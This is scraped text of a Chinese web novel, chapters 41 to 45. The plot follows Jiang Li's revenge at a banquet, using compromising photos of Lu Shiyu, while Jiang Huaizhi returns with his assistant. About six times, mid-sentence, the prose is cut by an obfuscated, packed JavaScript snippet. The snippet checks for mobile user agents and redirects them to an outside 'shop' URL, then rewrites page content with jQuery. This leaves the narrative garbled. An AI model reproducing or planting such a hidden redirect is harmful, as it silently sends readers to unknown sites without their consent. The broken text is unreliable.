陆临跟南诗奕的关系很好,所以一眼就认出来那张照片是她本人,通过叶辞找到了她头上。 姜梨的眼皮跳了一下,“你从樱洲医院一直跟踪我过来的?” 陆临大方承认,“没办法,你旁边还有洛医生在,会打草惊蛇,就只能跟来咯。” 他还认识洛骞?! 谈到这个陆临就觉得有趣,忍不住多看了姜梨两眼,得出来一个结论。 长得漂亮的女孩都有很深很深的烦恼。 不过也不奇怪,姜梨这不是刚死了一个哥哥吗?又被那一家子禽兽“撕咬”,心理难免会有些问题。 凭借江淮之的本事,想要洛骞这样的大佬帮她看病,倒也不是什么难事。 陆临给她递了一张自己的名片,“我对你和南诗奕究竟是怎么认识的一点都不感兴趣。你要是不信我,不愿意跟我合作的话我也不强人所难。想清楚了就给我打电话,我可以把南诗奕穿过的那件原版礼服给你,并且再给你看一些你一定喜欢的,很精彩的东西。” 姜梨犹豫了一下,伸手接了过来。 陆临弯了弯唇,“姜二小姐,再会。” 车窗的玻璃缓缓升起来,车子快速的驶离,留下一长串的尾气。 姜梨并没有找到叶辞派来跟着她的那个人,应该是见陆临走了,他也就离开了。这样想,姜梨还是给叶辞发了一条信息。 “谢谢辞哥~” 然后打车回了樱大。 - 这几天有一轮考试,姜梨和许雾两个人都忙的脚不沾地。看姜梨已经好了,那天医院里的事情许雾也没有多问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293829|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上午满课,下午泡在图书馆。宿舍,食堂,图书馆三点一线。 姜梨忙着备考,没有时间和江淮之聊天。前天下午江淮之给她打了一通电话,但是她没有接到,后来她回了一条:“满课,还要备考。” “按时吃药。”“不要熬夜。”“注意休息。” 江淮之就回了这三条,然后就没有再打扰过她。 夜里十一点,港城韩氏的会议室里。 所有的高层都聚集在了这里,一起商讨韩氏深陷运毒风波的事情。 这些高层都是和韩氏签了保密协议的,是公司里的“忠臣”,是知道江淮之身份的可以信任的人。 “抓到的毒贩我们已经交给了警方,不过审问结果不尽如意,江总也亲自上阵了,没有套出来幕后黑手是谁。韩氏受到的影响不会持续太久,货船里查出的违禁品都已经悉数上缴。警方已经将韩氏里里外外查了一个遍,没有其他的问题,港城这边的总部目前就只有这一个钉子。” “不过。”韩斯年的转了一下话锋,眼底划过一丝暗光,“韩氏在内地各地也有子公司,涉及多个领域。也就是说,不仅仅是港城有这样的奸细,内地肯定也有,并且藏的很深。幕后黑手的最终目的就是让韩氏成为最大最深最广的一条运毒链,更方便他们走私贩毒。” 这是江淮之和他推敲了一个晚上得出来的结论,而且他们都怀疑不止是韩氏,谢家那边肯定也有问题。 江淮之把谢鹤枭的身份告诉了韩斯年,但是也交代了不可全信,毕竟谢家也有人参与了运毒,谢鹤扬和谢鹤枭两兄弟说的话都不能全信。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第41章 你没有想,是我不纯洁 韩斯年面部肌肉抽了一下,没有说话。 能说他没有脑子的,除了姜祈安也就只有江淮之了。 想反驳,但是他不敢。 “觉得我私人情绪太重了。”江淮之摸出一根烟咬进嘴里,然后点燃,吸了一口,“会影响正确的判断,怕我冤枉了好人是吗?我咬着沈叙不放但是对司家就很宽容,觉得我徇私?” 韩斯年抿唇,犹豫了一下,然后点头,“警察办案,讲的是证据。沈家运毒的事情并没有得到实证,姜祈安的死,被定性为意外,这是有证据的。两家人合伙勾结,沈家被警察调查,但是司家却没有,你敢说这里面没有你的手笔吗?” “所以我说姜祈安会被你气得在天上急得团团转。”江淮之掸了一下烟火,声音清冷听不出情绪,“沈家被调查是因为姜祈安,所以他才死了。我要是再把司家捅出来,我也会命丧黄泉。到时候集体全军覆没,几年的部署前功尽弃。” 江淮之不知道又想到了什么,似笑非笑的看着韩斯年,“说我私人情绪太重我都没觉得有什么不正常的,毕竟姜祈安是我的救命恩人。但是你说我徇私?把我生下来养大的亲妈都被我亲手了结了,你居然会觉得我对司家那帮畜生徇私?” “你脑子进水了么?还怀疑到我头上了?” 韩斯年:“………” OK,又被骂了。天天不是在被骂,就是在被骂的路上。以前被姜祈安骂,现在被江淮之骂。 他们姓“jiang”的脾气都这么大吗? “这是你的第一个任务,没有太大的经验我能理解,所以别的我就不多说了。但是,有一点你给记清楚了。没有致死的铁证,没有留好万无一失的退路,都不要把事情做的太绝,保命最要紧。” 江淮之指尖夹着的香烟飘出雾蓝色的烟雾,连同他的眼神都被蒙上了一层雾,让人看不懂,猜不透。 韩斯年摸了摸鼻子,轻轻的嗯了一声,“事情现在都处理好了,你什么时候回内地?” 江淮之:“我从拍卖场赎回来的那个,要三天后才出院。” 韩斯年:“………” 也就是说,他还要在港城待三天,韩斯年还要再被他骂三天。 心好痛哦。 他从拍卖场赎回来的不是那个小助理的妹妹吗?也就是,大嫂的妹妹。 “那我要去看看大嫂吗?” 江淮之的目光顿了顿,“暂时不用,我和韩家有关系的事情别人都不知道,都以为我是来和谢家谈合作的。你不要去别人面前刷脸给我找麻烦。” 韩斯年:“哦。” 不仅被骂,还要被嫌弃。 他的心受到了二次伤害。 . 姜梨星期五下午的时候回了秋水湾,刚用指纹解开门锁,一只猫就跑了过来,抬起前爪不停的挠着姜梨的裤脚。 她弯下腰,一把将猫抱到了自己的臂弯里,腾出一只手关上了门。 季妍知道姜梨要回来,已经在准备吃食了。 “小野,你胖了哦。”姜梨明显感觉这只猫大了一圈,还变重了不少。 忍不住拍了张照片发给了江淮之,在后面补了一句:“倒反天罡,小野比大野能长肉。” 姜梨第一眼看到江淮之这个人的时候,对他的第一印象就是弱。不管是体格,还是肤色,赢弱到姜梨都不敢触碰他。 就算是后来养回来了,姜梨也还是觉得江淮之太瘦。 说小野比大野能长肉一点问题都没有。 江淮之回消息的速度很快,“?所以你这是在担心我的身体会不好吗?” 这是什么理解能力?她哪里有这么想? 还没等姜梨回他,江淮之就又发了一句话过来。 “等我回去了,你来验验货。这种东西眼见也不实,只有自己试过才知道。” 姜梨都能想象得到,江淮之发这句话是一副什么样的表情。他在说什么东西!他脑子里都是些什么黄色废料! 脸上的温度骤然升高,越来越烫。 “我才没有这么想!你不要说!” 江淮之坐在车的后座,坐姿懒散。看姜梨发过来的话,唇角上扬,继续逗她,“你没有想,是我想,是我不纯洁。” 舒羽看着江淮之如沐春风的表情,愣了一下。 他在跟谁聊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293830|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天?是他的那个联姻对象,市长千金傅绾吗? 想到这,舒羽试探性的喊了江淮之一声,“阿野?” 江淮之的视线再移到她脸上时,笑意已经淡了下去,“怎么?” “我们什么时候回北城?”舒羽的眼神微微黯淡了下来,她咬了咬牙,眼睫颤了一下,“我妹妹原本就读于樱大,后来因为我爸爸赌博,她才办理退学的,你能不能………” 江淮之想也不想的就拒绝了。 姜梨在樱大,他不了解舒翎,但是她是舒羽的妹妹,他不会让这样的人跟姜梨待在同一个学校里。 江淮之拒绝的过于干脆,舒羽的眼里快速的蒙上了一层水雾,手紧紧攥着裙子的布料,低着眼,睫毛微微颤抖。 “学校我没办法随随便便就把人塞进去,但是我可以让她去北城总公司,放在 你的眼皮子底下。”江淮之淡淡的看着她说道:“让她从实习生做起,其他的就看她的能力了。” 舒羽的眼睛倏然睁大,“谢………” “以后不要那样叫我。”江淮之打断她,视线从她身上移开,看着微信上的聊天页面,眼底晦涩不明,“很难听。” 姜梨上次还因为舒羽叫这个名字,在车上跟他发脾气,她的逆鳞还挺多的,很容易惹毛。 比如现在。 在他发完那句混蛋话以后,就直接不回他信息了。应该是被他这样的话给气到了,不想再搭理他这样的变态。 江淮之关掉手机,身体后仰靠在椅背上,双眸紧闭。 一脸的疲态。 舒羽的心像是被刺了一下,安安静静的没有吭声。 人人都以为她和江淮之认识了很久,他对其他人都是温和疏离的,但是对她却是颇为照顾,是最特别的那个存在。 但是只有舒羽和江淮之知道,这都是一场交易,是一场做给别人看的戏。 就像别人都说江淮之不会爱人,但是谁也不知道他曾无数次梦呓过一个女人的名字。 即便是舒羽从来都没有见过那个人,光听名字也知道,她一定很漂亮,是被家人捧在手心里呵护的公主。 叫做阿愿。 第42章 陆诗予的惊天大瓜 离寿宴的时间还有一个星期的时间,那条礼裙姜梨和叶辞也问了其他品牌的服装店,都不愿意定制,应该是陆临打了招呼的。 叶辞后来还打过一个电话,让她不用担心晚礼服的事情,他一定能弄出一件一模一样的出来。 姜梨手里捏着那天陆临给的名片,犹豫了半天,最后还是把它扔进了垃圾桶。 陆临毕竟是陆家人,再加上他在外面的风评,姜梨不敢相信他。 她只相信自己。 - 姜梨的那一场考试顺利通过,时间慢慢来到了十一月二十号。 在上午的时候,叶辞把寿宴上要穿的礼服和邀请函送到了姜梨手上。 姜梨掀开他递过来的礼盒看了一眼,不论是颜色还是局部细小的设计,都跟照片上一模一样! 她看向叶辞都眼神都有些难以置信,“你该不会是去跟陆临要来的原版吧?” “当然不是,陆临都放话不让别人接这件礼服的单子了,怎么可能会把原版给我?”叶辞抬手轻轻敲了一下她的脑门,“这是我找其他的裁缝,照着照片做出来的。” 姜梨对他竖起了大拇指,“牛逼!谢谢辞哥!” “所以你给我的那张照片是从前的司二小姐,你们两个是旧友。”叶辞低眸看着她,“今天晚上你是想穿着这条她穿过的礼服,去恶心司南赫是吗?” “是吧。”姜梨看着他,交代了一句:“你就装不知道就行了,免得惹祸上身。” 叶辞嗤笑,帮她把礼盒装进了手里拎着的礼袋里,“我就算是直接明说也没关系,司家祖籍是在樱洲,就算是再厉害,也不敢把手伸到我身上。叶家从军,他们不敢动我。除了晚礼服和鞋子,袋子里还有一样你想要的东西,是你喜欢的。” “我还有事情要处理,晚一点的时候我来接你,带你去做造型。” 说完不等姜梨回答,叶辞就已经上了车,车子缓缓驶离,消失在了她的视野里。 姜梨看了一眼时间,按照和阮经颜约定好的时间,来了私人画室。 . 阮经颜已经等了她许久,桌子上堆放着她提前准备好的,对皮肤无害的人体颜料,以及各种各样的画笔。 姜梨把两个袋子放在了一边,利落的脱掉了上衣,坐在板凳上,背对着阮经颜。 白皙的皮肤上遍布着各种各样的疤痕,全部聚集在肩背的位置,看着让人胆战心惊。阮经颜握着画笔的手都僵住了,迟迟不落笔。 “怎么了?”姜梨扭头看了她一眼,“不快点画的话,会来不及。” “你这……”阮经颜轻轻的在她背上摸了一下,眼睫颤动,“怎么搞的?” 姜梨知道是背上的疤吓到她了,她无所谓的笑了笑,“小时候太调皮了,阳台上的花盆被我弄砸下去了,我哥说我应该是想去接的,结果用力过猛就不小心掉下去了,刚好砸在了碎片上,就这样了。” 阮经颜看着那些疤痕,不着痕迹的皱了一下眉。这哪里像是被花盆碎片割的?这分明就像是被烟头烫过,被鞭笞留下来的疤。 “这样啊。”阮经颜掩去了眼底的情绪,拿着画笔蘸了一下颜料,漫不经心的问她:“你哥说的,那你是不记得了吗?” 姜梨摇头,“那个时候年纪太小了,我肯定不记得了。” “那江淮之和你是什么时候认识的?这个你记得吗?” “这个肯定记得呀。”姜梨失笑,“就我十一岁生日那天,我哥把他带回来的。” 阮经颜握着画笔开始在她的肩膀处勾勒,“那你以前没见过他吗?” 姜梨觉得有些痒,忍不住缩了一下,又被阮经颜捏住肩膀扣了回去,“没有见过,十一岁是第一次见,那个时候我身体不太好,大部分时间都在医院里,我哥也就没让我去学校,我的课程都是江淮之教的。” “后来的事情你不是也知道了吗?” 也就是说,姜梨被催眠的时间在十一岁之前。她和江淮之早在十一岁前就已经认识了,只是她不记得了而已。 姜梨小时候,究竟是发生过什么可怕的事情,才会走上催眠治疗这条路? 一定跟她背上的这片恐怖交错的疤痕有关系。 是被家暴过,还是被绑匪绑架过?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293831|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阮经颜晃了晃脑袋,不敢再继续多问,专心的给她“作画”。 两个小时以后,一朵漂亮的蝴蝶趴在玫瑰花上的图案出现在了姜梨右侧的蝴蝶骨上,大朵的玫瑰花颜色艳丽,蝴蝶栩栩如生,漂亮到了极致。 阮经颜放下画笔,拍了拍手,“搞定!” 图案完美的覆盖住了零星的疤痕,让人看不出瑕疵,阮经颜满意的直点头,“这种颜料卸起来一点都不麻烦,宴会结束以后你用水一冲就没了。” 姜梨点了点头,等它稍微风干了一会,才重新套上衣服。 阮经颜取掉围裙,去洗了一把脸,然后瘫软似的倒在了沙发上。 姜梨拿过手提袋,看到了夹在两个礼盒中间的牛皮信封,她伸手抽了出来,里面装的好像是一沓照片和u盘。 她坐到了阮经颜旁边,把里面的照片掏了出来,然后就是一声尖叫。 “卧槽!” “你干什………声音大的虾了阮经颜一跳,她直起身体,凑到姜梨旁边,瞟了一眼她手里捏着的照片,然后眼睛倏然瞪大,“这上面的人不是陆家老二吗?她这是在跟不同的人私会吗?不对,这些照片你是哪里来的?!” 姜梨不断的往后翻,越翻越觉得离谱。 这一叠照片里不仅有陆诗予频繁和不同的男人出入酒店的画面,甚至还有她吸食违禁品的照片! 姜梨的一颗心开始狂跳起来,她的手心里捏着那枚u盘,另一只抓着阮经颜胳膊的手都有些轻微的颤抖,“你带电脑没有?” 阮经颜也被这叠照片的内容给惊住了,胡乱的点头,然后手忙脚乱的把笔记本电脑拿了过来。 姜梨快速的插上u盘,然后点开里面的文件,放置着两个视频和被洗出来那些照片。她点开了其中一个视频,和阮经颜两个人目不转睛的盯着电脑上显示的画面。 最开始的画面一些模糊,像被虚化了看不见任何东西,随着细小的怪声越来越清晰,阮经颜不用看画面都已经猜到这是什么视频了。 阮经颜从来没有吃过这么劲爆的大瓜! 不禁感叹了一句:“我的天哪!” 第43章 谁家哥哥会偷亲啊 姜梨最开始的时候并没有反应过来,因为声音有些小,听不太清楚,她还把声音调大了。 然后下一秒,随着一声高昂的女音炸开,视频中模糊不清的画面也变得清晰起来,姜梨只看了一眼,就立马把视频关掉了。 “好他妈炸裂!”过了很久,姜梨才说出来这么一句话,“我感觉我眼睛要瞎了……” 好恶心!恶心的她隔夜饭都快要吐出来了! 刚刚的视频,女主人公是陆诗予,但是男主人公却是司家的老头子! 如果说刚开始听到声音的时候,阮经颜还只是有些惊诧,那么现在,她就是感觉自己的脑子都被雷劈的七零八落的。 陆家二小姐,和司家那个半截身子都埋在土里的老头子搞在了一起…… “呕!”姜梨实在是受不了这样的事情,被恶心的连着干呕了好几下,怎么会有人能做出这么伤风败俗的事情? 陆诗予不是都已经要和司南赫订婚了吗! 一想到这里,姜梨又是止不住的干呕了起来,脸都白了好几分。 阮经颜开始给她拍背顺气。 姜梨缓了好久,才勉强把那股子恶心给压下去。 叶辞上哪搞到这些东西的? “姜小梨,你认识陆诗予吗?” “我不认识,但是南诗奕认识。”姜梨没有隐瞒,对阮经颜解释:“陆诗予之前陷害南诗奕跟陆怀通奸,害得她郁郁寡欢,最后精神压力过大才跳楼自杀的。” 南诗奕当年跳楼自杀的原因,外界众说纷纭,实在是没有想到居然还有这样的隐情。 阮经颜的下巴都惊掉了,“吸食违禁品,和不同的男人出入酒店,又和司家的老头不清白,就这样还去污蔑人家!?” 原本以为阮家就已经很不太平,够不要脸的了。没想到陆家这位更是个厉害的,不要脸他妈给不要脸开门,不要脸到家了! 一想到南诗奕去世的时候,姜梨疯的一直幻想她还活在姜梨身边,阮经颜突然觉得后背一凉。 她两只手扶住姜梨的肩膀,满脸都写着紧张,“你该不会是想在这次宴会上公开这些吧?不行的!到时候陆家和司家都不会放过你!” 姜梨抿了抿嘴唇,眼帘半垂,“江淮之会帮我,他们不会把我怎么样的。如果拿到证据都还不能报仇,我怎么会甘心!” 如果不是他们一直苦苦相逼,南诗奕现在还活得好好的。如果不是因为这些畜生,她现在绝对不会是埋在土里的一捧黄土! “我自己有分寸,不会让人抓到把柄。”姜梨把u盘拔了出来,紧紧捏在手心里。 “害了人就该付出应有的代价。” 阮经颜听完也没再继续劝她,她起身找来了一个打火机,把那叠照片拿到一边,点燃烧毁。 u盘里都有原件,这种东西自然不能留。 - 车子停在了宴会厅门口。 叶辞正准备下车,就被姜梨拽住了胳膊。 “你还没有告诉我,那些照片你是从哪里弄来的。”姜梨的手里还捏着u盘。 “匿名快递,查不到来源。” 也就是说,这些东西一旦曝光,寄快递的那个人一定会认为是叶辞做的。他可以寄匿名快递给叶辞,同样也可以匿名告诉司家和陆家是叶辞干的。 姜梨陷入了两难的境地。 叶辞看出来她脸上明显的不安,微微叹了一口气,“我知道你在想什么,就算是曝出来,我也不会有事。军区大院的人,就连江淮之都要给几分薄面。” 沉默了一会,姜梨松开了一直抓着他胳膊的手,然后道:“下车吧。” 姜梨跟在叶辞身边,两个人一同进了宴会厅。 说是寿宴,但其实商业性质很浓。 觥筹交错的灯光下,西装革履的男人互相从容不迫的交谈。身穿华服的贵妇们聚在一起,手握香槟,酒杯碰撞,谈笑风生。 姜梨的这件礼服是斜肩的鱼尾礼服,一边的肩头上点缀着几朵红色的玫瑰,裙摆一侧开叉到大腿,坠下几根流苏,腰部是褶皱设计,掐出纤细的腰身。 黑色的头发盘起,用一根玉兰花枝的银簪固定,眼尾拉了一条长长的眼线,微微上挑,那双平时清冷的桃花眼多了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293832|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分魅惑。 这样的酒红色衬的她的皮肤更加的白皙,背部的玫瑰和蝴蝶尤为亮眼。 清冷又妖艳,漂亮的不可方物。 旁边的叶辞是纯黑色的西装,两个人站在一起,一黑一红,倒是般配。这样一对俊男美女,吸引来不少人的视线。 “今天楚家和沈家也在。”叶辞微微低头,轻声提醒她,“你跟着我,他们不敢为难你。” 姜梨“嗯”了一声,看着宴会厅内的环境。 正前方最中间的地方,有一个巨大的电子荧幕,周围的一圈都挂上了红色的丝带,很喜庆。 “荧幕操作在录像室,你如果要去的话我可以带你去。” 他的言外之意就是,如果你要报仇,我可以帮你。 姜梨笑了笑,“还不是时候。” “那个女孩,好像是刚去世不久的姜祈安的妹妹吧?我记得好像叫姜梨?她怎么会出现在陆家的 宴会上?还和叶家的老幺搞在一起了?” “她妈妈不是沈家的当家主母吗?她也算是沈家的四小姐,沈家今天不是也出席了吗?她能出现在这也算正常啦~” “你们北城估计还不清楚,姜梨早就不是沈家四小姐咯,她现在是司家江总的妹妹,江总亲口说的,她还是那个姜二小姐。”这时一个贵妇出声了,“她和叶家老幺是青梅竹马,要不是她哥哥死了,估计早就和叶家是一家人了。” “真的假的?”其他人震惊了一下,“可是照你这么说,她现在算是江总的妹妹,也算是半个司家人,怎么说跟叶家也是匹配的吧?” 女人轻蔑的笑了一声,“人家江总说了,她还是姜二小姐,算哪门子司家人?不过是看她可怜,天天被她那个妈妈拉去陪酒,随便给了她一个身份把她捞出来而已,正好还他哥的恩情,哪里还管她的其他事情?” 这些话,一字不落的被站在角落里的沈翊听了个清楚。他仰头将杯中的酒一饮而尽,唇边挑起来一抹意味不明的笑。 妹妹? 谁家哥哥会天天半夜偷摸进妹妹的房间,然后趁人家睡着了玩偷亲那一套的? 第44章 江淮之在看你 “四妹妹!” 沈翊放下手中的酒杯,迈着腿走到了叶辞和姜梨的面前,眼中带着轻佻的笑,对着姜梨一字一句道:“好,久,不,见。” 那天晚上的记忆涌上脑海,现在再看他这张脸,姜梨恶心的想吐。她忍了忍,然后上下扫视着他,淡淡开口:“伤好透了吗?” 沈翊的眉梢扬起,语气意味深长,“都是拖四妹妹的福,我这个伤才能好彻底。” 姜梨弯唇笑了笑,“你说的对,我每天晚上都会求神拜佛保佑二哥。” “当然,是求他们保佑你死得透一点。” 沈翊:“………” 叶辞看这两个人的气氛,明显有些不对劲。再听到姜梨说的这句话时,更是坚定了心里的猜想。 八成是沈翊干了什么缺德的事。 “沈二少爷,没死透的话就再去死一死。”叶辞拉过姜梨的手腕,“友好”的对沈翊笑了笑,“我们先失陪了。” 说完,拉着姜梨走到了一边的角落里。 沈翊看着他们的背影,无奈的摇了摇头,那个误会是解释不清楚了。 叶辞松开姜梨,在一边的酒桌上拿了一杯香槟,“怎么?姓沈的干了什么缺德事?” 沈翊大半夜闯进她房间的事情,除了沈家人就只有江淮之和姜梨自己知道,连阮经颜她都没说,自然也不会告诉叶辞。 “没干什么,我只是单纯的恨沈家。”姜梨眯着眼在周围看了一圈,随便扯了一句理由,“他们家的人,一个比一个缺德。” 还没等叶辞说什么,宴会厅门口就有一阵骚动,周围的人都开始朝着那个方向围了过去。 姜梨没由来的觉得心头跳了一下,隐约开始有些不安。 叶辞随手放下酒杯,拉着姜梨走了过去。 “是江总!” 这一声惊呼,落在姜梨的耳朵里却是犹如一道惊雷,江淮之来了?他不是说在港城的事情还没处理完吗? 围成圈的人群突然开始向两边散开,姜梨赶紧反手拉着叶辞退到了最后面,她的个子不高,前面的人刚好可以把她完全挡住。 “不是,你怕什么?”叶辞感受到她拉着自己手腕的手力道很大,手心有些凉,“他还能吃了你?” 姜梨低着头,“就跟你会害怕叶止大哥是一样的。” “………”叶辞静默了好一会,然后轻笑出声,“这哪能一样啊?我可不喜欢我大哥………嘶!” 手腕的刺痛让叶辞抽了一口凉气。 姜梨用力的掐了一下他的手腕,微微抬起头瞪他,“闭嘴!” 啧,好凶嗷。 叶辞没有说话,他长得高,可以轻松的看到江淮之一行人。在看到一个女人挽着他的臂弯时,他惊奇的挑了一下眉。 前些天从港城传到内地的有关于江淮之的绯闻,叶辞也看到了。江淮之今天的女伴,可不就是绯闻上的女主角吗? 他身边的那个小助理。 特意打扮过,倒是比平时更好看一些。白色的抹胸礼服,精致的妆容,面对别人的目光也毫不怯场,温婉又大方。 傅家人今天也在现场,作为江淮之未婚妻的傅绾,也在人群中看着他们这一对璧人,那张精致的脸,表情也有些僵硬。 傅绾并不知道江淮之今天会来,更不知道他会当着所有人的面,把舒羽带到了明面上,公然来打傅家的脸! 本来那些绯闻传出来的时候,傅绾就已经要气得发疯了,现在她看着舒羽那张脸恨不得现在就冲上去掐死她! “傅家不是已经在和司家谈联姻了吗?就是傅绾和江总两个人,现在是什么情况啊?” 人群里已经有人开始低声窃窃私语了,傅绾的表情都快要维持不住。 姜梨听到了这个话茬,也觉得困惑。 发生什么了? 她挪动了一下脚步,像往前走一走看看发生了什么,却被叶辞一把揽住了肩膀,“你要是不想让江淮之现在就看到你在这里,就不要乱窜,他看过来了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆临在说出“姜二小姐”四个字时,姜梨的头皮也一阵发麻,因为一道极其具有侵略性的视线透过人群扎在了她身上。 她不用想都知道,是江淮之在看她。 第45章 帮她把痕迹清理干净 一时间,他们这个原本隐秘的位置成了众矢之的。人群散开,姜梨彻底暴露在众人的视线里。 而她,也看到了江淮之,以及挽着他臂弯的舒羽。 他身上穿着深黑色的西装,应该是掺了亮片的丝线,所以在灯光下一闪一闪的,很是耀眼。 他们两个人的距离很近,近到姜梨的心口都有些酸涩。怪不得刚刚会有人窃窃私语说那种话,这个狗男人! 明明跟她说在港城还有要紧事没有处理完,还要过几天才回来,结果今天就带着他的绯闻女友出现在了宴会上。 法律上的妻子,家里为他挑选的未婚妻,还有他中意的女人,都同时出现在了这里。 呵,他骗她,都不怕会被她撞见,那她和叶辞又为什么要躲? 这样一想,姜梨一直半低着的头就抬了起来,眼神毫不畏惧的跟江淮之淡漠的眸子对视。 江淮之还好意思跟谢鹤扬说她想各玩各的,现在到底是谁在“玩”? 一边站着的司南赫朝着姜梨看过去,恍惚间居然把她那张脸看成了南诗奕,在触及到她头上的发簪时,瞳孔缩了一下。 几乎是下意识的就去看陆家人和司家人的反应。 果不其然,除了江淮之和他的继母苏菱以外,其他人的表情都是一个比一个难看。 陆诗予更是脚步不稳的往后退了一步,瞳孔地震,姜梨身上的红裙已经让她足够震颤,头上的发簪更是让她浑身都在发凉。 姜梨站在那里,陆诗予眼中她的脸跟南诗奕的脸逐渐重合。她是谁?穿成这样,是想和南诗奕一样夺走司南赫,再次破坏她的好事吗! 陆诗予反应过来冲上去就要质问姜梨,却被司南赫一把拽住了手腕。 “那可是我大哥的人,现在人这么多,你想干什么!”司南赫压低声音在她耳边提醒,“我已经答应订婚了,你今天不要再搞出什么幺蛾子了!” 司南赫的心里想的是,姜梨是疯了吗! 拿件礼服就先不追究了,其他人没有见过。但是她居然敢戴着南诗奕赠予她的遗物,这样出现在司家和陆家人的面前!现在姜祈安已经不在了,她不要命了吗?! 姜梨的余光偷偷观察神色各异的主角们,看着他们的表情从恐惧转化为惊讶,然后又变成愤怒,她只觉得讽刺。 不知道他们到底在恼火什么? “姜二小姐的这一身行头,可是叶二少花了重金向我讨的。”陆临将底下人的变化都看在眼里,意味深长的看着姜梨,“漂亮的东西肯定要大家一起欣赏才更有趣,不然不就辜负了叶二少的美意吗?” 姜梨越听心里就越懵,但是面上依旧强装冷静。陆临这是在帮她开脱?主动说身上的礼裙和发簪都是从他那里得来的,而不是她费尽心机整出来的。 如果不是陆临给她,南诗奕又从来没有穿过这条礼裙面见世人,司家人就一定会认为姜梨别有用心。 陆临帮她,是因为南诗奕吗? 难道那个u盘,是陆临寄给叶辞的? 司南赫听到陆临的话,诧异之余也微微松了口气。 叶辞弯唇笑了笑,揽着姜梨的手松开,手掌在她面前摊开,意思不言而喻。 姜梨本来就想找机会在所有陆家人和司家人面前大放异彩,这样恶心人的好机会她自然不会浪费。 他们要害怕,要发怒,都跟姜梨没有任何关系。姜梨毫不犹豫的将手搭在了叶辞的手掌上,一同走上舞池。 江淮之的眉心几不可见的蹙了一下,脸上的表情也微微冷了下来。 宴会厅的灯光暗了下来,只留下舞池中的一束冷白的光打在两个人的身上。 跳的是华尔兹,叶辞和姜梨都学过舞蹈,舞步配合的很默契。 “礼服是你和陆临去借的?” “你跟陆临不是没谈妥吗?” 两个人压低声音,一同问出了心中的疑惑。姜梨愣了一下,确定了陆临是在帮她。 叶辞的脑子也变得清晰,他低着眼睫,继续问她:“照片和视频还曝光吗?” “为什么不曝?”姜梨顺着他抬高的手臂转了一个圈,宛如翩翩起舞的蝴蝶,“我跟你来寿宴,自然也要送上一份贺礼。” 底下的宾客看着这一幕,眼中或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14293834|152126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多或少的闪过些许惊艳。 身姿窈窕,舞姿曼妙优雅,不愧被人称为北城第一才女。 苏菱看着舞池中的那抹红色,略显冷清的眉眼也柔和了许多。反观站在她身边的司承德,脸色就没有那么好看了。 一舞结束,苏菱带头鼓起了掌,拍手时她看向司承德,“你心情不好吗?” “怎么会?” “我心情很好。”苏菱笑了起来,停下了动作,目光一直看着走下台的姜梨,“这位姜二小姐是淮之的妹妹,她跟我的诗奕很像,我很喜欢。” 